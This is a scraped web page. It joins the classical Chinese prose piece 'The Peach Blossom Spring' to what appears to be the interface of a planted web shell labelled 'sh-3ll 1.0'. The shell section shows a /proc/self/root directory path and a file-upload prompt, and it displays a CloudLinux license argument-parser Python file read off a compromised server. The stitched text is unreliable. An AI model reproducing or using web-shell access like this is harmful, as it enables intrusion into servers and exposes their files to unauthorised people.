晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/cllicense/
Upload File :
Current File : //proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/cllicense/cl_license_arg_parse.py
# -*- coding: utf-8 -*-

# Command line arguments parser for cloudlinux-license utility

# cloudlinux-license Utility to check/set Cloudlinux license
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from docopt import docopt
from docopt import DocoptExit
from schema import Schema, And, Or, SchemaError


def parse_cloudlinux_packages_opts(argv, _is_json_need=False):
    """
    Parse arguments for cloudlinux-packages command
    :param argv: sys.argv
    :param _is_json_need: sys.argv contains --json key
    :return cortege: (error_flag, s_message)
    """
    # program name
    prog_name = "cloudlinux-license"
    docstring = f"""Utility to get Cloudlinux license status or register Cloudlinux license

Usage:
   {prog_name} [get] [--json]
   {prog_name} [set] [--json] [--key <str>]
   {prog_name} [set] [--json] --ip
   {prog_name} get_trial --config <str> [--json]
   {prog_name} (-h | --help)

Options:
    --config <str>                      Register Cloudlinux trial license
    --json                              Return data in JSON format
    --key <str>                         Register Cloudlinux license by key
    --ip                                Register IP based Cloudlinux license
    -h, --help                          Show this help message and exit
"""
    try:
        args = docopt(docstring, argv)
    except DocoptExit:
        s_error_string = 'ERROR: Invalid parameter passed'
        if not _is_json_need:
            s_error_string += "\n\n" + docstring
        return False, s_error_string

    # get mode by default
    if not args["get"] and not args["set"] and not args["get_trial"]:
        args["get"] = True

    s = Schema({
        "get": bool,
        "set": bool,
        "get_trial": bool,
        "--config": Or(None, str),
        "--json": And(bool, lambda x: x, error="use --json option, other modes currently unsupported"),
        "--key": Or(None, str),
        "--ip": bool,
        "--help": bool,
    })

    try:
        args = s.validate(args)
        status = True
    except SchemaError as e:
        args = str(e)
        status = False
    return status, args